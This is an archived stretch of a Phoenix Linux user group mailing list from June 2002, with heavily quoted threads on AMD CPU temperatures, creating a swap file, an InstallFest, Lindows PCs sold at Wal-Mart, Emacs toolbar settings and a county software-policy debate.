18:42:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Mon, 17 Jun 2002 14:42:48 -0400 Subject: CPU Temperature Monitoring & Limits Message-ID: Yeah I have just about given up... It works fine and I have not crashed yet. Original Message: ----------------- From: Dr.G drghastly@cox.net Date: Mon, 17 Jun 2002 11:09:31 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: CPU Temperature Monitoring & Limits I have almost the exact same set up you do, except I have a 1800+. Your CPU is running at normal temperature. They just run freaking hot as hell. The only thing you can do is water cool it to get it to a lower temp. Otherwise your pretty much SOL. That is the reason, in fact, I am switching to a P4 1.6B (cause you can OC the hell out of it) at it runs about 90 degrees farenheit, standard. I do not need a heat lamp for a PC. ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 10:58 AM Subject: RE: CPU Temperature Monitoring & Limits > Any thing cooling those drives? > > Larry > > -----Original Message----- > From: jon@unfm00.com [mailto:jon@unfm00.com] > Sent: Monday, June 17, 2002 10:05 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: RE: CPU Temperature Monitoring & Limits > > > Man I hate to get started on this subject. I built a AthlonXP with the problem below: > > "amd 2100+ > asus a7v333 > pc-3000 512mb cl 2.0 @2,2,2,5T > gforce 3 PNY (not a TI card) > 4 ata/133 Maxtor 40g drives two are Raid level 0 > volcano 7+ Heat sink fan 6500rpm/copper heat sink > 4 intake fans three exit fans including power supply > 350watt power supply. > latest bios 1007 > artic silver goop > > Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. > > At any rate the box is fast, very fast, but my question is its running hot, and no mater what I have tried it still runs hot. Idle about 57°c and 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what I have done. > > I have tried two different Asus a7v333 mobo, same temp readings, two different 2100+ processors, two different 350watt power supplies, i have tried the oem heat sink & fan that came with it and my volcano 7+ runs faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s with my setup. My room Temp is about 80-82°F. I replaced all the fans in the chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow along with the power supply that has the extra fan in it. All my cables are tied off and out of the way for maximum air flow. But the damn thing runs hot. I'm reasonably sure that I'm not overclocking anything. > vcore 1.75 > cpu/pcibus 133/33 > cpu/mem raio 4:5" > > After I did some research, Asus stands behind thier boards and said any temp below 70°c is fine. I'm still not to happy about my temp being in the 60s. But I have been running this computer for over a 4week and I have not had it crash yet, even after 8hours of compiling. > > http://unixmafia.port5.com/news/00211001.html <--- this guy had the same problem just with an older board, and I have that board at it to runs at 60°c all the time. > > Does anyone else run any asus mobo? > > jon > > Original Message: > ----------------- > From: George Toft george@georgetoft.com > Date: Mon, 17 Jun 2002 07:26:44 -0400 > To: plug-discuss@lists.plug.phoenix.az.us > Subject: CPU Temperature Monitoring & Limits > > > Where can I find recommended CPU temperature limits for an AMD Duron? I > have the AMD Duron Processor 3 Technical Specification Sheets, and all > it says is "Maximum die temperature 90C." Recognizing there is a > thermal gradient between the CPU and the temperature sensor, does anyone > have any ideas what the maximum temperature I should experience for a > healthy PC? I have not found any concrete numbers on the 'Net. > > I configured "sensors" yesterday, and wrote a script to log system load > and CPU temp over time, which results in this output: > 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps > 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps > 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps > 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps > 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps > 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps > 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps > 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps > 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps > 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps > 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps > 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps > 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps > 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps > > (As you can see, I also incorporated tracking network traffic from a > previous thread as well. This script is located on my web site.) > > I then ran the machine ragged playing an AVI movie in full-screen mode > for over 1.5 hours. The CPU temperature reached 127F and held steady. > I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound > like reasonable values? Obviously, cooler is better, but I don't have > $200 for a liquid cooling system. > > Thanks in advance. > > George > > -- > If you feel you have received a virus from me, please read > http://www.georgetoft.com/virus.html > because it wasn't me! > -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -------------------------------------------------------------------- > mail2web - Check your email from the web at > http://mail2web.com/ . > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:49:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 11:49:55 -0700 Subject: CPU Temperature Monitoring & Limits References: Message-ID: <00a401c2162f$c5cd8650$6501a8c0@drghastly> AMD rates the XPs as being "Perfectly Normal" at under 90 dgerees celcius I believe (Go to thier site for more info) So. yes. You have a very powerful CPU that runs VERY hot. But it should be stable. So... ----- Original Message ----- From: To: Sent: Monday, June 17, 2002 11:42 AM Subject: RE: Re: CPU Temperature Monitoring & Limits > Yeah I have just about given up... It works fine and I have not crashed yet. > > Original Message: > ----------------- > From: Dr.G drghastly@cox.net > Date: Mon, 17 Jun 2002 11:09:31 -0700 > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: CPU Temperature Monitoring & Limits > > > I have almost the exact same set up you do, except I have a 1800+. Your CPU > is running at normal temperature. They just run freaking hot as hell. The > only thing you can do is water cool it to get it to a lower temp. Otherwise > your pretty much SOL. That is the reason, in fact, I am switching to a P4 > 1.6B (cause you can OC the hell out of it) at it runs about 90 degrees > farenheit, standard. I do not need a heat lamp for a PC. > > > > ----- Original Message ----- > From: "Larry Lauer" > To: > Sent: Monday, June 17, 2002 10:58 AM > Subject: RE: CPU Temperature Monitoring & Limits > > > > Any thing cooling those drives? > > > > Larry > > > > -----Original Message----- > > From: jon@unfm00.com [mailto:jon@unfm00.com] > > Sent: Monday, June 17, 2002 10:05 AM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: RE: CPU Temperature Monitoring & Limits > > > > > > Man I hate to get started on this subject. I built a AthlonXP with the > problem below: > > > > "amd 2100+ > > asus a7v333 > > pc-3000 512mb cl 2.0 @2,2,2,5T > > gforce 3 PNY (not a TI card) > > 4 ata/133 Maxtor 40g drives two are Raid level 0 > > volcano 7+ Heat sink fan 6500rpm/copper heat sink > > 4 intake fans three exit fans including power supply > > 350watt power supply. > > latest bios 1007 > > artic silver goop > > > > Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. > > > > At any rate the box is fast, very fast, but my question is its running > hot, and no mater what I have tried it still runs hot. Idle about 57°c and > 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what > I have done. > > > > I have tried two different Asus a7v333 mobo, same temp readings, two > different 2100+ processors, two different 350watt power supplies, i have > tried the oem heat sink & fan that came with it and my volcano 7+ runs > faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s > with my setup. My room Temp is about 80-82°F. I replaced all the fans in the > chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow > along with the power supply that has the extra fan in it. All my cables are > tied off and out of the way for maximum air flow. But the damn thing runs > hot. I'm reasonably sure that I'm not overclocking anything. > > vcore 1.75 > > cpu/pcibus 133/33 > > cpu/mem raio 4:5" > > > > After I did some research, Asus stands behind thier boards and said any > temp below 70°c is fine. I'm still not to happy about my temp being in the > 60s. But I have been running this computer for over a 4week and I have not > had it crash yet, even after 8hours of compiling. > > > > http://unixmafia.port5.com/news/00211001.html <--- this guy had the same > problem just with an older board, and I have that board at it to runs at > 60°c all the time. > > > > Does anyone else run any asus mobo? > > > > jon > > > > Original Message: > > ----------------- > > From: George Toft george@georgetoft.com > > Date: Mon, 17 Jun 2002 07:26:44 -0400 > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: CPU Temperature Monitoring & Limits > > > > > > Where can I find recommended CPU temperature limits for an AMD Duron? I > > have the AMD Duron Processor 3 Technical Specification Sheets, and all > > it says is "Maximum die temperature 90C." Recognizing there is a > > thermal gradient between the CPU and the temperature sensor, does anyone > > have any ideas what the maximum temperature I should experience for a > > healthy PC? I have not found any concrete numbers on the 'Net. > > > > I configured "sensors" yesterday, and wrote a script to log system load > > and CPU temp over time, which results in this output: > > 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps > > 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps > > 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps > > 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps > > 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps > > 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps > > 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps > > 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps > > 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps > > 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps > > 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps > > 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps > > 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps > > 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps > > > > (As you can see, I also incorporated tracking network traffic from a > > previous thread as well. This script is located on my web site.) > > > > I then ran the machine ragged playing an AVI movie in full-screen mode > > for over 1.5 hours. The CPU temperature reached 127F and held steady. > > I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound > > like reasonable values? Obviously, cooler is better, but I don't have > > $200 for a liquid cooling system. > > > > Thanks in advance. > > > > George > > > > -- > > If you feel you have received a virus from me, please read > > http://www.georgetoft.com/virus.html > > because it wasn't me! > > -- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -------------------------------------------------------------------- > > mail2web - Check your email from the web at > > http://mail2web.com/ . > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -------------------------------------------------------------------- > mail2web - Check your email from the web at > http://mail2web.com/ . > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:44:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 11:44:36 -0700 Subject: PLUG on Slashdot References: Message-ID: <009e01c2162f$07cb6780$6501a8c0@drghastly> As some comments from /. have been said, all they have to do is go through a M$ recognized vendor ( hence..3rd party) to use the same type of software. Also, considering that the COP and Maricopa County are the largest employers for the state of AZ, I highly doubt they want to go through the retraining fees it would cost to retrain all those people to use the new software. Your talking about a LOT of $$, $$ that is coming out of my pocket as a taxpayer, and more importantly, the other 3.9 million+ taxpayers who (Read: people over 60's usually) will vote that down if neccessary, or complain enough that it will probably not go through.. So I'm on the fence with that one. It should be one step at a time. ----- Original Message ----- From: "Tom Emerson" To: Sent: Monday, June 17, 2002 11:31 AM Subject: Re: PLUG on Slashdot > Perhaps the Arizona Center for Law in the Public Interest would have > something to say about enforcement of current policy and law? > > http://www.aclpi.org/ > > They have a bit of a reputation fighting for enforcement of ignored laws... > > ---------------------------- > > On Mon, 17 Jun 2002, Matt Alexander wrote: > > I just noticed on Slashdot this morning that we're featured in regards to > the Maricopa County thread: > > http://slashdot.org > > ________________________________________________ > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 19:52:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jonathan Claxton) Date: Mon, 17 Jun 2002 12:52:19 -0700 (MST) Subject: InstallFest Message-ID: I just got myself back on this list after finding out for some reason I got knocked off it. AND, on top of that, I just found out there's going to be an InstallFest this comming Saturday. I can bring over my Black-Thunder box that has a TV card in it that I would LOVE to show it off!!!! :) Just tell me where to connect it to a TV plug or if not, I can bring along my VCR and tapes. Also it got a DVD drive that I can show DVDs on it too! Heck, I just may bring over both boxes that I got. :) ------------------------------------------------------------------------------- Jonathan Claxton __ __ ____ ___ ___ ____ jzc@primenet.com /__)/__) / / / / /_ /\ / /_ / / / \ / / / / /__ / \/ /___ / ------------------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 19:36:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Mon, 17 Jun 2002 12:36:15 -0700 Subject: virtual memory hogging problem... Message-ID: <3D0E3A2F.783591E5@leml.asu.edu> got a virtual memory problem... The situation: I have a spatially explitit and interactive model which is coulpled to a MIMD virtual machine running other (simple unit models)... The problem is that when I load the thing up for the simulation I am currently playing with I now pop the top of my virtual memory (I only have 156MB RAM and 1.5GB swap, and need about 2 to 4 times that). Looking for solutions I thought of tmpfs, but realized that it creates/mouns a file system on swap. Is there any other way you'all know how to set up a file-based swap so I can throw a couple more gig at swap without having to dedicate another partition perminately? If I had it all to do over again I would have built a real distributed virtual machine, etc... not time for that now. If anyone can point me to how to create a file on a partition and use that for swap space, or any other solution which comes to mind I would be most appreciative... EBo -- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:03:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 17 Jun 2002 13:03:59 -0700 Subject: InstallFest In-Reply-To: References: Message-ID: <02061713035927.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cool machines doing cool stuff are highly encouraged. On Monday 17 June 2002 12:52, you wrote: > I just got myself back on this list after finding out for some reason I > got knocked off it. > > AND, on top of that, I just found out there's going to be an InstallFest > this comming Saturday. > > I can bring over my Black-Thunder box that has a TV card in it that I > would LOVE to show it off!!!! :) Just tell me where to connect it to a TV > plug or if not, I can bring along my VCR and tapes. Also it got a DVD > drive that I can show DVDs on it too! Heck, I just may bring over both > boxes that I got. :) > > > --------------------------------------------------------------------------- >---- Jonathan Claxton __ __ ____ ___ > ___ ____ jzc@primenet.com /__)/__) / / / / /_ /\ > / /_ / / / \ / / / / /__ / \/ /___ / > --------------------------------------------------------------------------- >---- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQ5Arysk3ywszI1FEQJgpACfZWtcQXzXCPfZH5W0WPn4ppqBW9gAoM0N nLJgTBqjoToin4b0KW7a7UKv =INK/ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:10:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Mon, 17 Jun 2002 16:10:11 -0400 Subject: InstallFest Message-ID: You mean you don't have a DVD drive in your box? While on this subject, who uses Mplayer for DVDs, and have you gotten the dvd menus to work right yet? Original Message: ----------------- From: Jonathan Claxton jzc@primenet.com Date: Mon, 17 Jun 2002 12:52:19 -0700 (MST) To: plug-discuss@lists.plug.phoenix.az.us Subject: InstallFest I just got myself back on this list after finding out for some reason I got knocked off it. AND, on top of that, I just found out there's going to be an InstallFest this comming Saturday. I can bring over my Black-Thunder box that has a TV card in it that I would LOVE to show it off!!!! :) Just tell me where to connect it to a TV plug or if not, I can bring along my VCR and tapes. Also it got a DVD drive that I can show DVDs on it too! Heck, I just may bring over both boxes that I got. :) ------------------------------------------------------------------------------- Jonathan Claxton __ __ ____ ___ ___ ____ jzc@primenet.com /__)/__) / / / / /_ /\ / /_ / / / \ / / / / /__ / \/ /___ / ------------------------------------------------------------------------------- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:12:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 17 Jun 2002 13:12:41 -0700 Subject: virtual memory hogging problem... In-Reply-To: <3D0E3A2F.783591E5@leml.asu.edu> References: <3D0E3A2F.783591E5@leml.asu.edu> Message-ID: <200206171312.47372.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 17 June 2002 12:36 pm, John (EBo) David wrote: > If anyone can point me to how to create a file on a partition and use > that for swap space, or any other solution which comes to mind I would > be most appreciative... Everything is a file in Unix. dd if=/dev/zero of=file count=1500000 mkswap file swapon file - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DkK9pNoctRtUIRQRAlcbAJ9aW9CsAPGycXYnleIHLoogU1mvdACcCcQt 37Tkj44qzItOiSAbJtLFN3s= =62sr -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:27:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Mon, 17 Jun 2002 13:27:50 -0700 Subject: Lindows Message-ID: <3D0E4646.2000904@qwest.net> Hey folks, Just wondering if anyone has heard anything about Lindows? Just read on cnet that Wal-Mart is selling Micron PCs with it pre-installed. Ray malbojia@qwest.net From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:34:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 17 Jun 2002 13:34:09 -0700 Subject: Emacs on RH 7.3 In-Reply-To: <1024243844.12004.23.camel@nabla.phx.viz> References: <1024243844.12004.23.camel@nabla.phx.viz> Message-ID: <200206171334.15485.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sunday 16 June 2002 09:10 am, Gordon Chamberlin wrote: > Is anyone else annoyed by the new GUI menu bar that emacs now places > right under the text menu bar on a stock installation of Redhat 7.3? Not annoyed, but I do not find it pleasing. > I have looked for a way to remove it, but have been unsuccessful so > far. If anyone could tell me the magic incantation configuration > setting that needs to be invoked, I would be very grateful. I really > want that space back to display information. I just tried M-x tool-bar-mode and that seems to work. If you don't like the scroll bar, then you could use M-x scroll-bar-mode to recover some more space. Any suggestions on how to change the type of scroll-bar used so that it doesn't use the GTK tool set (i.e. make it look like the old one)? - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DkfGpNoctRtUIRQRAoK/AKCLiW+HoUJ2yklYAaWcfT+uNhuwawCeNu21 F+LAwlE3cixaZdrjlMte6gI= =oaxJ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:36:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 13:36:24 -0700 (PDT) Subject: Lindows In-Reply-To: <3D0E4646.2000904@qwest.net> Message-ID: Yup. Only $299. http://www.walmart.com/catalog/product.gsp?product_id=1870914 On Mon, 17 Jun 2002, Raymond Cantwell wrote: > Hey folks, > Just wondering if anyone has heard anything about Lindows? Just read on > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > Ray > malbojia@qwest.net > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:34:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Mon, 17 Jun 2002 13:34:51 -0700 (PDT) Subject: Lindows In-Reply-To: <3D0E4646.2000904@qwest.net> Message-ID: <20020617203456.96981.qmail@web13406.mail.yahoo.com> --- Raymond Cantwell wrote: > Hey folks, > Just wondering if anyone has heard anything about > Lindows? Just read on > cnet that Wal-Mart is selling Micron PCs with it > pre-installed. > Ray > malbojia@qwest.net I was looking at the Lindows site and it didn't seem like it was officially out yet. I see a sneak preview version but this can't be what Walmart is bundling is it? Do you also have to pay the $99 dollar Lindows subscription fee every year? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:49:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Mon, 17 Jun 2002 13:49:33 -0700 Subject: items for sale In-Reply-To: <20020617175809.GA27125@aries.evilmascot.com> References: <5.1.0.14.0.20020616181121.00acd7f0@localhost> <5.1.0.14.0.20020616181121.00acd7f0@localhost> Message-ID: <5.1.0.14.0.20020617132644.04e50a90@localhost> I was hoping near to $100. Would you pay $75? Kimi At 6/17/02, you wrote: >Eh, how much were you thinking for the 1600? I've got $50. >-Kyle > >On Sun, Jun 16, 2002 at 06:23:36PM -0700, Kimi A. Adams wrote: > > Although I have updated my ad on www.forsale.unitywave.com, it doesn't > > allow for the amount of items that I have to list. > > > > So here is the list: http://www.unitywave.com/~office/index.html it's in > > a decent printable form as well for those that want to print it. > > > > Call me with offers. Can someone please come get the whole lot? Pricing > > is pretty rock bottom, but I will take $225 for the whole lot. We do not > > deliver. I need the space in the next month, so if we cannot sell it > here, > > it might be at the next swap meet or a garage sale in September. > > > > Kimi Adams > > Unity Wave > > 602-375-5363 > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 20:57:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Mon, 17 Jun 2002 13:57:16 -0700 Subject: InstallFest In-Reply-To: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I also have a machine with a TV Tuner that I am bringing to the InstallFest, it's currently running Win2k. I'd be interested to know what software you use to view the Capture from your TV card? Are there any alternatives? What options does it support (recording, scheduling, etc...) "The difference between 'involvement' and 'commitment' is like an eggs-and-ham breakfast: the chicken was 'involved' - the pig was 'committed'." -- unknown matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Jonathan Claxton Sent: Monday, June 17, 2002 12:52 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: InstallFest I just got myself back on this list after finding out for some reason I got knocked off it. AND, on top of that, I just found out there's going to be an InstallFest this comming Saturday. I can bring over my Black-Thunder box that has a TV card in it that I would LOVE to show it off!!!! :) Just tell me where to connect it to a TV plug or if not, I can bring along my VCR and tapes. Also it got a DVD drive that I can show DVDs on it too! Heck, I just may bring over both boxes that I got. :) - ---------------------------------------------------------------------- - --------- Jonathan Claxton __ __ ____ ___ ___ ____ jzc@primenet.com /__)/__) / / / / /_ /\ / /_ / / / \ / / / / /__ / \/ /___ / - ---------------------------------------------------------------------- - --------- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBPQ5NK44p6zlv2o83EQI9CgCcDbQjMO5zmldcyQXaRxtoWgHdtDsAn2FL UJm7YpW2PFqvFtr+z9sDJnD8 =cOXJ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:15:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Mon, 17 Jun 2002 14:15:08 -0700 Subject: Lindows Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DEC@azmscorp01.corp.azms> Also check out slashdot. They have links to how to get Linux running on these machines. Larry -----Original Message----- From: Matt Alexander [mailto:m@netpro.to] Sent: Monday, June 17, 2002 1:36 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Lindows Yup. Only $299. http://www.walmart.com/catalog/product.gsp?product_id=1870914 On Mon, 17 Jun 2002, Raymond Cantwell wrote: > Hey folks, > Just wondering if anyone has heard anything about Lindows? Just read on > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > Ray > malbojia@qwest.net > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:08:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (C. Sullivan) Date: Mon, 17 Jun 2002 21:08:14 +0000 (GMT) Subject: PLUG on Slashdot In-Reply-To: <009e01c2162f$07cb6780$6501a8c0@drghastly> Message-ID: On Mon, 17 Jun 2002, Dr.G wrote: > As some comments from /. have been said, all they have to do is go through a > M$ recognized vendor ( hence..3rd party) to use the same type of software. Not necessarily. It also states that the County cannot enter into a contract with companies who have acted in that fashion.. and since Microsoft's click-through is, technically, a contract... From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 21:21:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 14:21:47 -0700 Subject: PLUG on Slashdot References: Message-ID: <00db01c21644$fccf81c0$6501a8c0@drghastly> Not when it is OEM I believe. ----- Original Message ----- From: "C. Sullivan" To: Sent: Monday, June 17, 2002 2:08 PM Subject: Re: 